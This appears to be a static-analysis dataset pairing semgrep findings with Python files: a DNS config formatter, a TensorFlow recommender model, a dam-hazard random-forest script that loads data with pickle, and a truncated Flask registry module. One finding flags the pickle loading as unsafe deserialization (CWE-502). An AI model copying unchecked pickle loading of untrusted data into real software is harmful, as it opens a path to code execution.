3
true
[ "", "" ]
[ "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 2, 11 ]
[ 2, 11 ]
[ 66, 21 ]
[ 73, 25 ]
[ "", "" ]
[ "`return` only makes sense inside a function", "`return` only makes sense inside a function" ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
d22b.py
/d22b.py
jogloran/advent-of-code-2020
MIT
2024-11-18T18:05:45.157547+00:00
1,430,934,893,000
9936379ea8ae076b9b0c4ce5b322d8a12497e38a
2
{ "blob_id": "9936379ea8ae076b9b0c4ce5b322d8a12497e38a", "branch_name": "refs/heads/master", "committer_date": 1431212320000, "content_id": "92a5167070c5a64bd70518f188bd927997a14043", "detected_licenses": [ "MIT" ], "directory_id": "7492f373430262e8ba95c4cc52517ed23107dc67", "extension": "py", "filename": "dns_formatter.py", "fork_events_count": 0, "gha_created_at": 1426193181000, "gha_event_created_at": 1426193181000, "gha_language": null, "gha_license_id": null, "github_id": 32101544, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4191, "license": "MIT", "license_type": "permissive", "path": "/dns_formatter.py", "provenance": "stack-edu-0054.json.gz:568776", "repo_name": "sargon/icvpn-scripts", "revision_date": 1430934893000, "revision_id": "89989365ebbfcd6bbdf7325a25e14465723bc327", "snapshot_id": "6356ef80baabb7511e3132af1c9a91acaf29e427", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/sargon/icvpn-scripts/89989365ebbfcd6bbdf7325a25e14465723bc327/dns_formatter.py", "visit_date": "2021-01-17T22:54:39.893859" }
2.359375
stackv2
from formatter import Formatter from textwrap import dedent from socket import AF_INET, AF_INET6, inet_pton, error as socket_error def try_inet_pton(af, ip): try: inet_pton(af, ip) return True except socket_error: return False class _DNSFormatter(Formatter): filters = { "v4": lambda value: try_inet_pton(AF_INET, value), "v6": lambda value: try_inet_pton(AF_INET6, value), } def populate_argument_parser(self, parser): parser.add_argument( "--filter", dest="filter", help="""Only include certain servers. Possible choices: %s """ % ", ".join(self.filters.keys()), choices=list(self.filters.keys())) def _map_communities(self, arguments, communities): filters = [filters[options.filter]] if arguments.filter else [] filtered = dict() for community, data in communities: try: domains = data['domains'] nameservers = data['nameservers'] except (TypeError, KeyError): continue servers = filter(lambda d: all(f(d) for f in filters), nameservers) servers = list(servers) servers = list(filter(lambda d: all(f(d) for f in filters), nameservers)) if len(domains) == 0 or len(servers) == 0: filtered[community] = None else: filtered[community] = dict({'domains': domains, 'servers': servers}) return filtered.items() def generate_config(self, arguments, communities): communities = self._map_communities(arguments, communities) for community, data in communities: self.add_comment(community) if data is None: self.add_comment("No valid domains found") else: self._format_config(data['domains'], data['servers']) class DnsmasqFormatter(_DNSFormatter): def _format_config(self, domains, servers): for domain in domains: for server in servers: self.config.append("server=/%s/%s" % (domain, server)) class BindFormatter(_DNSFormatter): def _format_config(self, domains, servers): for domain in domains: self.config.append(dedent(""" zone "%s" { type static-stub; server-addresses { %s; }; }; """ % (domain, "; ".join(servers))).lstrip()) class BindForwardFormatter(_DNSFormatter): def _format_config(self, domains, servers): for domain in domains: self.config.append(dedent(""" zone "%s" { type forward; forwarders { %s; }; forward only; }; """ % (domain, "; ".join(servers))).lstrip()) class UnboundForwardFormatter(_DNSFormatter): def generate_config(self, arguments, communities): communities = self._map_communities(arguments, communities) buffer = [] self.add_comment( """ This file is automatically generated. """) self.config.append('server:') self.config.append('\tlocal-zone: "10.in-addr.arpa" nodefault') for community, data in communities: if data is None: self.add_comment("No valid domains found") continue self.config.append('\n\t# %s' % community) for domain in data['domains']: if domain.endswith('.arpa'): self.config.append('\tlocal-zone: "%s" nodefault' % domain) else: self.config.append('\tdomain-insecure: "%s"' % domain) buffer.append('\n#\n# %s\n#\n' % community) for domain in data['domains']: buffer.append('forward-zone:') buffer.append('\tname: "%s"' % domain) for server in data['servers']: buffer.append('\tforward-addr: %s' % server) self.config = self.config + buffer
139
29.15
85
20
851
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_7d37b03fc19e01cb_971f0af9", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 17, "line_end": 17, "column_start": 29, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/7d37b03fc19e01cb.py", "start": {"line": 17, "col": 29, "offset": 340}, "end": {"line": 17, "col": 58, "offset": 369}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_7d37b03fc19e01cb_81fc3254", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 18, "line_end": 18, "column_start": 29, "column_end": 59, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/7d37b03fc19e01cb.py", "start": {"line": 18, "col": 29, "offset": 399}, "end": {"line": 18, "col": 59, "offset": 429}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.return-not-in-function", "rules.python.lang.maintainability.return-not-in-function" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 17, 18 ]
[ 17, 18 ]
[ 29, 29 ]
[ 58, 59 ]
[ "", "" ]
[ "`return` only makes sense inside a function", "`return` only makes sense inside a function" ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
dns_formatter.py
/dns_formatter.py
sargon/icvpn-scripts
MIT
2024-11-18T18:05:50.995077+00:00
1,681,380,941,000
e318ef477e6416a2771f439d3ccca329e22e093b
3
{ "blob_id": "e318ef477e6416a2771f439d3ccca329e22e093b", "branch_name": "refs/heads/master", "committer_date": 1681380941000, "content_id": "ac6bb68abe5cfe57022afe0a29bb34005b6b4d36", "detected_licenses": [ "Apache-2.0" ], "directory_id": "af84dbfbdca0ee1a354924881b6578c37a66efcf", "extension": "py", "filename": "NCF.py", "fork_events_count": 0, "gha_created_at": 1498319300000, "gha_event_created_at": 1688678201000, "gha_language": "Jupyter Notebook", "gha_license_id": "Apache-2.0", "github_id": 95307122, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10756, "license": "Apache-2.0", "license_type": "permissive", "path": "/ML/DL/ncf/NCF.py", "provenance": "stack-edu-0054.json.gz:568820", "repo_name": "Johnwei386/Warehouse", "revision_date": 1681380941000, "revision_id": "77da078a176930c0107431b7a0ff7b01d6634ba7", "snapshot_id": "96db3b3b7c258b41688395942f766c2f4299aa56", "src_encoding": "UTF-8", "star_events_count": 3, "url": "https://raw.githubusercontent.com/Johnwei386/Warehouse/77da078a176930c0107431b7a0ff7b01d6634ba7/ML/DL/ncf/NCF.py", "visit_date": "2023-07-19T22:12:33.331111" }
2.828125
stackv2
# _*_ coding:utf8 _*_ import numpy as np import pandas as pd import tensorflow as tf import sys #import ncf.metrics import metrics class NCF(object): def __init__(self, embed_size, user_size, item_size, lr, optim, initializer, loss_func, activation_func, regularizer_rate, iterator, topk, dropout, is_training): """ Important Arguments. embed_size: The final embedding size for users and items. optim: The optimization method chosen in this model. initializer: The initialization method. loss_func: Loss function, we choose the cross entropy. regularizer_rate: L2 is chosen, this represents the L2 rate. iterator: Input dataset. topk: For evaluation, computing the topk items. """ self.embed_size = embed_size # 16 self.user_size = user_size # 1508 self.item_size = item_size # 2071 self.lr = lr self.initializer = initializer self.loss_func = loss_func self.activation_func = activation_func self.regularizer_rate = regularizer_rate self.optim = optim self.topk = topk # 10 self.dropout = dropout self.is_training = is_training self.iterator = iterator def get_data(self): sample = self.iterator.get_next() # 得到Dataset中的数据 self.user = sample['user'] self.item = sample['item'] # 转换tensor为一个新类型 self.label = tf.cast(sample['label'],tf.float32) def inference(self): # 设置参数初始化方式、损失函数、参数更新方式(优化器) """ Initialize important settings """ self.regularizer = tf.contrib.layers.l2_regularizer(self.regularizer_rate) if self.initializer == 'Normal': self.initializer = tf.truncated_normal_initializer(stddev=0.01) elif self.initializer == 'Xavier_Normal': self.initializer = tf.contrib.layers.xavier_initializer() else: self.initializer = tf.glorot_uniform_initializer() if self.activation_func == 'ReLU': self.activation_func = tf.nn.relu elif self.activation_func == 'Leaky_ReLU': self.activation_func = tf.nn.leaky_relu elif self.activation_func == 'ELU': self.activation_func = tf.nn.elu if self.loss_func == 'cross_entropy': self.loss_func = tf.nn.sigmoid_cross_entropy_with_logits if self.optim == 'SGD': self.optim = tf.train.GradientDescentOptimizer(self.lr,name='SGD') elif self.optim == 'RMSProp': self.optim = tf.train.RMSPropOptimizer(self.lr, decay=0.9, momentum=0.0, name='RMSProp') elif self.optim == 'Adam': self.optim = tf.train.AdamOptimizer(self.lr, name='Adam') def create_model(self): with tf.name_scope('input'): # [0,1,...,0]指示某个用户的one-hot编码矩阵,大小为 Nx1508 # N为样本总数,训练集就是训练集总数,测试集就是测试集总数,1508是用户数 self.user_onehot = tf.one_hot(self.user,self.user_size,name='user_onehot') # Nx2071,指示那个item被选中,2071为item的数量 self.item_onehot = tf.one_hot(self.item,self.item_size,name='item_onehot') with tf.name_scope('embed'): # inputs: 输入数据,这里是大小为 Nx1508 的Tensor张量数据 # units: 隐藏层神经元个数, 预置为16 # 激活函数为Relu,用Xavier方法初始化参数,使用L2范数作为正则化参数的惩罚项 # [Nx1508] x [1508x16] = Nx16 self.user_embed_GMF = tf.layers.dense(inputs = self.user_onehot, units = self.embed_size, activation = self.activation_func, kernel_initializer=self.initializer, kernel_regularizer=self.regularizer, name='user_embed_GMF') # [Nx2071] x [2071x16]= Nx16 self.item_embed_GMF = tf.layers.dense(inputs=self.item_onehot, units=self.embed_size, activation=self.activation_func, kernel_initializer=self.initializer, kernel_regularizer=self.regularizer, name='item_embed_GMF') # [Nx1508] x [1508x16] = Nx16 self.user_embed_MLP = tf.layers.dense(inputs=self.user_onehot, units=self.embed_size, activation=self.activation_func, kernel_initializer=self.initializer, kernel_regularizer=self.regularizer, name='user_embed_MLP') # [Nx2071] x [2071x16]= Nx16 self.item_embed_MLP = tf.layers.dense(inputs=self.item_onehot, units=self.embed_size, activation=self.activation_func, kernel_initializer=self.initializer, kernel_regularizer=self.regularizer, name='item_embed_MLP') with tf.name_scope("GMF"): # [Nx16] x [Nx16] = [Nx16] 逐元素相加,输出一个等shape的矩阵 self.GMF = tf.multiply(self.user_embed_GMF, self.item_embed_GMF,name='GMF') # 多层感知器网络 with tf.name_scope("MLP"): # 按列拼接两个Tensor张量,[Nx16]与[Nx16]按列拼接等于[Nx32] self.interaction = tf.concat([self.user_embed_MLP, self.item_embed_MLP], axis=-1, name='interaction') print(self.interaction.shape) # [Nx32] x [32x32] = [Nx32] self.layer1_MLP = tf.layers.dense(inputs=self.interaction, units=self.embed_size * 2, activation=self.activation_func, kernel_initializer=self.initializer, kernel_regularizer=self.regularizer, name='layer1_MLP') # 使用dropout方法优化神经元的激活 self.layer1_MLP = tf.layers.dropout(self.layer1_MLP, rate=self.dropout) print(self.layer1_MLP.shape) # [Nx32] x [32x16] = [Nx16] self.layer2_MLP = tf.layers.dense(inputs=self.layer1_MLP, units=self.embed_size, activation=self.activation_func, kernel_initializer=self.initializer, kernel_regularizer=self.regularizer, name='layer2_MLP') self.layer2_MLP = tf.layers.dropout(self.layer2_MLP, rate=self.dropout) print(self.layer2_MLP.shape) # [Nx16] x [16x8] = [Nx8] self.layer3_MLP = tf.layers.dense(inputs=self.layer2_MLP, units=self.embed_size // 2, activation=self.activation_func, kernel_initializer=self.initializer, kernel_regularizer=self.regularizer, name='layer3_MLP') self.layer3_MLP = tf.layers.dropout(self.layer3_MLP, rate=self.dropout) print(self.layer3_MLP.shape) #得到预测值 with tf.name_scope('concatenation'): # [Nx16] 按列拼接 [Nx8] = [Nx24] self.concatenation = tf.concat([self.GMF,self.layer3_MLP], axis=-1,name='concatenation') # [Nx24] x [24x1] = [Nx1] self.logits = tf.layers.dense(inputs= self.concatenation, units = 1, activation=None, kernel_initializer=self.initializer, kernel_regularizer=self.regularizer, name='predict') print(self.logits.shape) # 转化[Nx1]矩阵为1D数组,为(N,) self.logits_dense = tf.reshape(self.logits,[-1]) print(self.logits_dense.shape) with tf.name_scope("loss"): self.loss = tf.reduce_mean(self.loss_func( labels=self.label, logits=self.logits_dense, name='loss')) with tf.name_scope("optimzation"): self.optimzer = self.optim.minimize(self.loss) def eval(self): with tf.name_scope("evaluation"): self.item_replica = self.item _, self.indice = tf.nn.top_k(tf.sigmoid(self.logits_dense), self.topk) def summary(self): """ Create summaries to write on tensorboard. """ self.writer = tf.summary.FileWriter('./graphs/NCF', tf.get_default_graph()) with tf.name_scope("summaries"): tf.summary.scalar('loss', self.loss) tf.summary.histogram('histogram loss', self.loss) self.summary_op = tf.summary.merge_all() def build(self): self.get_data() self.inference() self.create_model() self.eval() self.summary() self.saver = tf.train.Saver(tf.global_variables()) def step(self, session, step): """ Train the model step by step. """ if self.is_training: loss, optim, summaries = session.run( [self.loss, self.optimzer, self.summary_op]) self.writer.add_summary(summaries, global_step=step) else: indice, item = session.run([self.indice, self.item_replica]) prediction = np.take(item, indice) return prediction, item
227
44.54
87
16
2,121
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8de0869020318ad0_586c3271", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_training\" a function or an attribute? If it is a function, you may have meant self.is_training() because self.is_training is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 9, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/8de0869020318ad0.py", "start": {"line": 37, "col": 9, "offset": 1216}, "end": {"line": 37, "col": 25, "offset": 1232}, "extra": {"message": "Is \"is_training\" a function or an attribute? If it is a function, you may have meant self.is_training() because self.is_training is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8de0869020318ad0_dff0c273", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_training\" a function or an attribute? If it is a function, you may have meant self.is_training() because self.is_training is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 220, "line_end": 220, "column_start": 12, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/8de0869020318ad0.py", "start": {"line": 220, "col": 12, "offset": 10393}, "end": {"line": 220, "col": 28, "offset": 10409}, "extra": {"message": "Is \"is_training\" a function or an attribute? If it is a function, you may have meant self.is_training() because self.is_training is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "", "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses", "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM" ]
[ "MEDIUM", "MEDIUM" ]
[ 37, 220 ]
[ 37, 220 ]
[ 9, 12 ]
[ 25, 28 ]
[ "", "" ]
[ "Is \"is_training\" a function or an attribute? If it is a function, you may have meant self.is_training() because self.is_training is always true.", "Is \"is_training\" a function or an attribute? If it is a function, you may have meant self.is_training() because self.is_training is always true." ]
[ 5, 5 ]
[ "", "" ]
[ "", "" ]
NCF.py
/ML/DL/ncf/NCF.py
Johnwei386/Warehouse
Apache-2.0
2024-11-18T18:05:52.300596+00:00
1,599,152,646,000
9185695cb36d6614095277825baed9bb945a49c2
2
{ "blob_id": "9185695cb36d6614095277825baed9bb945a49c2", "branch_name": "refs/heads/master", "committer_date": 1599152646000, "content_id": "048a36508be52d7c1697a055f4fb3d12039a6fca", "detected_licenses": [ "MIT" ], "directory_id": "3bc4d9a4f7744126cf5af8b56c75ec188476f6aa", "extension": "py", "filename": "assess.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 290616074, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9477, "license": "MIT", "license_type": "permissive", "path": "/assess.py", "provenance": "stack-edu-0054.json.gz:568839", "repo_name": "kravitsjacob/phase_2_assessment", "revision_date": 1599152646000, "revision_id": "b0a15b8b4e9e98de61a029479fc658a0f3d53b3d", "snapshot_id": "8e3b06e84d55b3c0e9a557e4900099e4b8b6d69d", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/kravitsjacob/phase_2_assessment/b0a15b8b4e9e98de61a029479fc658a0f3d53b3d/assess.py", "visit_date": "2022-12-13T03:58:06.071793" }
2.390625
stackv2
# Import Packages import pandas as pd import os import sklearn as sk import numpy as np import pickle from imblearn.over_sampling import ADASYN from sklearn.metrics import roc_curve, auc # Global Vars pathto_data = '/app_io' pathto_spacefeats = os.path.join(pathto_data, 'spatial_features_model', 'output') pathto_damdata = os.path.join(pathto_data, 'phase_1_optimization', 'input', 'MA_U.csv') pathto_deployidx = os.path.join(pathto_data, 'phase_1_optimization', 'input', 'deploy_idx.pkl') pathto_phase1_results = os.path.join(pathto_data, 'phase_1_results_convert', 'output', 'results.csv') pathto_solution_classifications = os.path.join(pathto_data, 'phase_2_assessment', 'output', 'solution_classifications') pathto_assessment_objectives = os.path.join(pathto_data, 'phase_2_assessment', 'output', 'assessment_objectives') parameter_names = ['N_length', 'N_width', 'n_estimators', 'min_samples_split', 'min_samples_leaf', 'min_weight_fraction_leaf', 'max_depth', 'max_features', 'max_leaf_nodes'] objective_names = ['P2_accuracy', 'P2_FPR', 'P2_TPR', 'P1_AUROCC'] feature_names = ['Dam Height (ft)', 'Dam Length (ft)', 'Reservoir Size (acre-ft)', 'Maximum Downstream Slope (%)', 'Downstream Houses', 'Downstream Population', 'Building Exposure ($1000)', 'Building Footprint (1000 sq. ft.)', 'Content Exposure ($1000)'] predicted_name = 'Hazard' positive_lab = 'NH' def parameter_converter(params): """ Convert parameter to valid types :param params: tuple current parameters of default types :return: dict All the corresponding parameters in required types """ # Parse Ints for i, val in enumerate(params): if val.is_integer(): params[i] = int(val) # Convert to Dictionary param_dict = dict(zip(parameter_names, params)) return param_dict def get_features(param_dict): """ Retrive the corresponding spatial and non-spatial feature values :param param_dict: dict All the corresponding simulation parameters :return: DataFrame Spatial and non-spatial dam hazard feature values """ # Import Spatial Features df_name = 'N_length_' + str(param_dict['N_length']) + '_N_width_' + str(param_dict['N_width']) space_feats = pd.read_hdf(os.path.join(pathto_spacefeats, 'spatial_feats.h5'), df_name) # Import Non-Spatial Features data = pd.read_csv(pathto_damdata) # Merge Features data = space_feats.join(data) data.index = data['RECORDID'] # Rename Columns data = data.rename(index=str, columns={'HAZARD': predicted_name, 'DAM_HEIGHT': feature_names[0], 'DAM_LENGTH': feature_names[1], 'NORMAL_STORAGE': feature_names[2], 'Slope_max': feature_names[3], 'hous_sum': feature_names[4], 'pop_sum': feature_names[5], 'buil_sum': feature_names[6], 'foot_sum': feature_names[7], 'cont_sum': feature_names[8]}) # Extract Features data = data[feature_names+[predicted_name]] # Export return data def preprocessor(df): """ Processing the feature values before classification :param df: DataFrame Feature values :return: DataFrame Processed feature values """ # Combine Categories df = df.replace(to_replace=['L', 'S', 'H'], value=['NH', 'NH', 'H']) # Replace nans with median df = df.fillna(df.median()) # Specify Objective y = df[predicted_name] # Shape Data X = np.array(df[feature_names]) y = np.array(y) return X, y def train_model(ml_params, data): """ Train the random forest to the current set of hyperparameters (no cross-validation) :param ml_params: dict Current set of hyperparameters :param data: DataFrame The current set of dams with features and true hazard classifications :return: RandomForestClassifier Trained random forest """ # Initialized Vars random_state = 1008 # Process Data X, y = preprocessor(data) # Resample the training data to deal with class imbalance method = ADASYN(random_state=random_state) X_res, y_res = method.fit_sample(X, y) # Create Model clf = sk.ensemble.RandomForestClassifier(n_jobs=-1, random_state=random_state, n_estimators=ml_params['n_estimators'], min_samples_split=ml_params['min_samples_split'], min_samples_leaf=ml_params['min_samples_leaf'], min_weight_fraction_leaf=ml_params['min_weight_fraction_leaf'], max_depth=ml_params['max_depth'], max_features=ml_params['max_features'], max_leaf_nodes=ml_params['max_leaf_nodes']) # Fit model to train data clf.fit(X_res, y_res) # Export return clf def predict_values(model, data): """ Predict values based on a trained random forest :param model: RandomForestClassifier Trained random forest :param data: DataFrame The current set of dams with features and true hazard classifications :return: DataFrame The current set of dams with features, true hazard classifications, and predicted hazard classifications """ # Process Data X, y = preprocessor(data) # Predicted Values y_pred = model.predict(X) # Append Predicted Value data['True Hazard Class'] = y data['Predicted Hazard Class'] = y_pred # Area Under ROC Curve y_score = model.predict_proba(X)[:, 1] false_positive, true_positive, _ = roc_curve(y, y_score, pos_label=positive_lab) AUROCC = auc(false_positive, true_positive) data['AUROCC'] = AUROCC return data def CM(row): """ Confusion matrix function to classify true positive, false positive, false negative, or true negative classifications :param row: Series Predicted and true classification of the current dam being evaluated :return: str Classification type """ if row['True Hazard Class'] == 'H' and row['Predicted Hazard Class'] == 'H': return 'TN' elif row['True Hazard Class'] == 'NH' and row['Predicted Hazard Class'] == 'NH': return 'TP' elif row['True Hazard Class'] == 'H' and row['Predicted Hazard Class'] == 'NH': return 'FP' elif row['True Hazard Class'] == 'NH' and row['Predicted Hazard Class'] == 'H': return 'FN' def get_obj(df): """ Calculate objective values :param df: dataframe Phase 2 classifications of current solution :return: Phase 2 objective values """ # Extract Errors TP = df['error'].value_counts()['TP'] TN = df['error'].value_counts()['TN'] FP = df['error'].value_counts()['FP'] FN = df['error'].value_counts()['FN'] # Calculate Objectives accuracy = (TP+TN)/(TP+TN+FP+FN) FPR = FP/(FP+TN) TPR = TP/(TP+FN) AUROCC = df['AUROCC'][0] return pd.Series([FN, FP, TN, TP, accuracy, FPR, TPR, AUROCC], index=['P2_FN', 'P2_FP', 'P2_TN', 'P2_TP']+objective_names) def simulation(vars, name): """ Evaluate a dam hazard potential 'simulation' with a given set of spatial parameters and random forest hyperparameters :param vars: tuple set of spatial and nonspatial parameters :param name: str Name of current solution :return: Series Phase 2 objective values """ # Convert Parameters param_dict = parameter_converter(vars) # Get Features data = get_features(param_dict) # Get Deployment Indexes with open(pathto_deployidx, 'rb') as f: deploy_idx = pickle.load(f) # Train Model on All But Deployment Features model = train_model(param_dict, data.drop(deploy_idx)) # Predict Deployment Features df = predict_values(model, data.loc[deploy_idx]) # Compute Confusion Matrix df['error'] = df.apply(CM, axis=1) # Export Classifications df.to_csv(os.path.join(pathto_solution_classifications, 'solution_'+str(int(name)) + '.csv'), index=False) # Compute Objectives objs = get_obj(df) print(objs) return objs def main(): # Import Reference Set df = pd.read_table(pathto_phase1_results, sep=',').infer_objects() # Use All Solutions df['solution_num'] = list(df.index) # Run Simulation objs_df = df.apply(lambda row: simulation(row[parameter_names].tolist(), row['solution_num']), axis=1) rep_df = pd.concat([df, objs_df], axis=1) # Export Representative Solution rep_df.to_csv(os.path.join(pathto_assessment_objectives, 'assessment_results.csv'), index=False, header=True, sep=',') return 0 if __name__ == '__main__': main()
238
37.82
126
15
2,175
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_6951a5a14fd5279c_3e755086", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 209, "line_end": 209, "column_start": 22, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/6951a5a14fd5279c.py", "start": {"line": 209, "col": 22, "offset": 8176}, "end": {"line": 209, "col": 36, "offset": 8190}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 209 ]
[ 209 ]
[ 22 ]
[ 36 ]
[ "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format." ]
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
assess.py
/assess.py
kravitsjacob/phase_2_assessment
MIT
2024-11-18T18:05:52.919914+00:00
1,625,584,497,000
7d79c06f8af3e0bcfa88e9703b177b44978569de
2
{ "blob_id": "7d79c06f8af3e0bcfa88e9703b177b44978569de", "branch_name": "refs/heads/master", "committer_date": 1625584497000, "content_id": "162fc4cf197c00de108895d7889162b40d2c8cc9", "detected_licenses": [ "Apache-2.0" ], "directory_id": "279c70e0c1ee0625bf0940d6644def5c6f294c43", "extension": "py", "filename": "sources.py", "fork_events_count": 0, "gha_created_at": 1627422472000, "gha_event_created_at": 1627422472000, "gha_language": null, "gha_license_id": "Apache-2.0", "github_id": 390135802, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3603, "license": "Apache-2.0", "license_type": "permissive", "path": "/registry/sources.py", "provenance": "stack-edu-0054.json.gz:568847", "repo_name": "yongleyuan/open-science-pool-registry", "revision_date": 1625584497000, "revision_id": "6006e5bff640119ed9cd4bdb1afc8dccc3890dd0", "snapshot_id": "8ca81a4c1ed5b4047b1a822948ca8d0b718fa5ac", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/yongleyuan/open-science-pool-registry/6006e5bff640119ed9cd4bdb1afc8dccc3890dd0/registry/sources.py", "visit_date": "2023-06-28T02:23:05.147816" }
2.34375
stackv2
import re try: # py3 from configparser import ConfigParser except ImportError: # py2 from ConfigParser import ConfigParser import xml.etree.ElementTree as ET import http.client import urllib.error import urllib.request from flask import current_app, request from .exceptions import ConfigurationError TOPOLOGY_RG = "https://topology.opensciencegrid.org/rgsummary/xml" def get_user_info(): try: return current_app.config["USER_INFO_FAKE"] except: pass result = { "idp": request.environ.get("OIDC_CLAIM_idp_name", None), "id": request.environ.get("OIDC_CLAIM_osgid", None), "name": request.environ.get("OIDC_CLAIM_name", None), "email": request.environ.get("OIDC_CLAIM_email", None) } current_app.logger.debug("Authenticated user info is {}".format(str(result))) return result def is_signed_up(user_info): return user_info.get("id") def get_sources(user_info): """ Query topology to get a list of valid CEs and their managers """ osgid = user_info.get("id") if not osgid: return [] # URL for all Production CE resources # topology_url = TOPOLOGY_RG + '?gridtype=on&gridtype_1=on&service_on&service_1=on' # URL for all Execution Endpoint resources topology_url = TOPOLOGY_RG + '?service=on&service_157=on' try: response = urllib.request.urlopen(topology_url) topology_xml = response.read() except (urllib.error.URLError, http.client.HTTPException): raise TopologyError('Error retrieving OSG Topology registrations') try: topology_et = ET.fromstring(topology_xml) except ET.ParseError: if not topology_xml: msg = 